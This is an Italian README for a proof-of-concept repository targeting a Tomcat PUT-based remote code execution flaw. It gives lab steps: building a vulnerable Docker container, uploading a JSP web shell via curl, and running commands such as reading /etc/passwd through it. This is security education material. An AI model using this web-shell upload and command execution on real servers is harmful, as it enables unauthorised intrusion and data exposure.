
Apache Tomcat PUT JSP RCE - CVE-2025-24813 - Exploit e PoC
Questo repository contiene una prova di concetto (PoC) completa per CVE-2025-24813, una vulnerabilità di esecuzione remota di codice (RCE) in Apache Tomcat che utilizza il metodo HTTP PUT per distribuire una web shell JSP dannosa.
🔥 Questo exploit dimostra come un attaccante possa ottenere RCE tramite upload di file ed esecuzione di payload in istanze Tomcat non adeguatamente protette.
CVE-2025-24813/
├── docker/
│ ├── Dockerfile
│ └── web.xml
├── exploit/
│ ├── 1_exploit_cve_2025_24813.py
│ └── shell.jsp
├── screenshots/
│ ├── 1_tomcat_running.png
│ ├── 2_docker_started.png
│ ├── 3_upload_shell.png
│ ├── 4_run_python_exploit.png
│ ├── 5_access_shell_whoami.png
│ ├── 6_view_etc_passwd.png
│ ├── 7_run_uname.png
│ ├── 8_run_id.png
│ └── 9_run_pwd.png
├── .gitignore
├── LICENSE
└── README.md
cd docker
sudo docker build -t cve-24813-tomcat .
sudo docker run -it -p 8080:8080 cve-24813-tomcat
📸 
📸 
curl -X PUT --upload-file exploit/shell.jsp http://localhost:8080/shell.jsp
📸 
python3 exploit/1_exploit_cve_2025_24813.py
📸 
http://localhost:8080/shell.jsp?cmd=id
http://localhost:8080/shell.jsp?cmd=uname -a
http://localhost:8080/shell.jsp?cmd=cat /etc/passwd
📸 
📸 
📸 
📸 
📸 
web.xml o nella configurazione del serverQuesto progetto ha esclusivamente scopi educativi e di ricerca. Testare, sfruttare o utilizzare vulnerabilità su sistemi di cui non si è proprietari o su cui non si ha autorizzazione è illegale e non etico.
Shivshant Patil
Certified Ethical Hacker (CEH v13)
Laureato in Ingegneria Informatica (B.Tech)
🔗 LinkedIn
🔗 GitHub